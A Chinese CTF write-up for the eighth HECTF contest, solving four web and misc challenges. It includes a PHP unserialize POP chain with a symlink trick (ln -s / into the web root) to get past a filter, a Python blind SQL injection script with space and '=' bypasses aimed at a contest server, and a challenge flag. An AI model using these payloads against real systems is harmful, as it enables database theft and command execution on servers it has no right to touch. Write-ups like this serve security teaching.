HECTF 第八届web&&misc
字数 1838 2025-08-11 21:26:09
HECTF 第八届Web&Misc题目解析与教学文档
1. Are u happy
题目概述
这是一个基于JavaScript的小游戏题目,主要考察代码审计和Base64解码能力。
解题步骤
- 代码审计:查看网页的JavaScript代码
- 发现线索:在JS代码中找到疑似Base64编码的字符串
- 解码:使用在线Base64解码工具对找到的字符串进行解码
- 获取flag:解码后直接得到flag
关键点
- 仔细阅读JavaScript代码,寻找可疑的字符串
- 识别Base64编码的特征(通常由A-Za-z0-9+/=组成)
- 使用可靠的Base64解码工具
2. baby_unserialize
题目概述
这是一道PHP反序列化漏洞利用题目,考察反序列化漏洞链的构造和WAF绕过技巧。
代码分析
类结构分析
-
User类:
__destruct():析构函数中会检查token是否为"admin"__wakeup():将token重置为"guest"check():验证token是否为"admin"
-
class00类:
__call():当调用不存在的方法时返回1__set():当给不存在的属性赋值时,会执行赋值的函数
-
class01类:
__toString():当对象被当作字符串使用时触发- 内部会调用
cls->func1()并检查返回值
-
class02类:
__invoke():当对象被当作函数调用时触发- 包含命令执行功能,但有严格的黑名单过滤
漏洞利用链(POP链)构造
- 从User类的
__destruct()开始 - 通过设置
token="admin"绕过check - 将
msg设置为class01对象 - 在class01中设置
cls为class00对象 - 设置
str3为class02对象 - 当class01被当作字符串使用时,触发
__toString() __toString()中调用cls->func1()触发class00的__call()__call()返回1后,执行$this->cls->str1 = $this->str3- 这触发class00的
__set(),将class02对象作为函数调用 - class02的
__invoke()被触发,执行命令
WAF绕过技巧
题目中的命令执行有严格过滤,但可以通过以下方式绕过:
- 使用
ln -s / /var/www/html/aaa创建符号链接 - 这样可以绕过对直接文件访问的限制
完整利用代码
$a = new User(1, 1);
$a->token = 'admin';
$a->msg = new class01();
$a->msg->cls = new class00();
$a->msg->str3 = new class02();
echo(serialize($a));
3. baby_sql
题目概述
这是一道SQL注入题目,考察绕过过滤的技巧和盲注技术。
已知信息
- 账号为admin
- 可以使用万能密码登录
- 查询页面存在SQL注入漏洞
过滤规则
- 过滤了
=、空格、information等关键词
绕过技巧
- 使用
/**/代替空格 - 使用
like代替= - 避免使用被过滤的关键词
自动化注入脚本
import requests
url = 'http://8.153.107.251:31865/worker.php'
success_mark = 'g01den员工今天打了卡'
# 获取数据库名长度
def GetDBNameLength(url):
length = 0
print("开始获取数据库名长度...")
for l in range(1, 99):
payload = f"g01den'/**/and/**/length((select/**/database()))/**/like/**/{l}#"
data = {'name': payload}
res = requests.post(url, data=data)
if success_mark in res.content.decode("utf-8"):
print(f"数据库名长度为:{l}")
length = l
break
return length
# 获取数据库名
def GetDBName(url):
DBName = ''
length = GetDBNameLength(url)
print(f"数据库名长度:{length}")
print("开始获取数据库名...")
for i in range(1, length+1):
for j in range(33, 127):
payload = f"g01den'/**/and/**/ascii(substr((select/**/database()),{i},1))/**/like/**/{j}#"
data = {'name': payload}
res = requests.post(url, data=data)
if success_mark in res.content.decode("utf-8"):
DBName += chr(j)
print(DBName)
break
return DBName
# 主程序
if __name__ == '__main__':
db_name = GetDBName(url)
print(f"数据库名是:{db_name}")
注意事项
- 脚本中使用了
/**/代替空格 - 使用
like代替=进行条件判断 - 通过逐字符爆破的方式获取数据
4. Misc Rem_You
题目概述
这是一道杂项题目,考察文件恢复、图片拼接和编码解码能力。
解题步骤
-
文件恢复:
- 使用
foremost工具从给定文件中恢复出压缩包 - 解压恢复出的压缩包
- 使用
-
图片处理:
- 解压后得到被分割成9块的二维码
- 根据每张图片的白边进行拼接
- 注意二维码的定位图案(三个角落的大方块)
-
解码:
- 使用扫码工具扫描拼接好的二维码
- 得到一串编码
- 使用Base32解码得到flag
关键工具
foremost:文件恢复工具- 图片编辑软件:用于拼接二维码碎片
- 二维码扫描工具
- Base32解码工具
最终flag
HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}
总结
本次HECTF比赛中的Web和Misc题目涵盖了多个知识点:
- JavaScript代码审计和Base64解码
- PHP反序列化漏洞链构造和WAF绕过
- SQL注入绕过技巧和盲注技术
- 文件恢复、图片处理和编码解码技术
每道题目都需要仔细分析题目给出的信息,理解过滤规则,并找到合适的绕过方法。对于反序列化题目,理解PHP魔术方法的触发条件和对象之间的交互是关键;对于SQL注入,需要灵活运用各种绕过技巧;对于Misc题目,则需要熟悉各种工具的使用方法。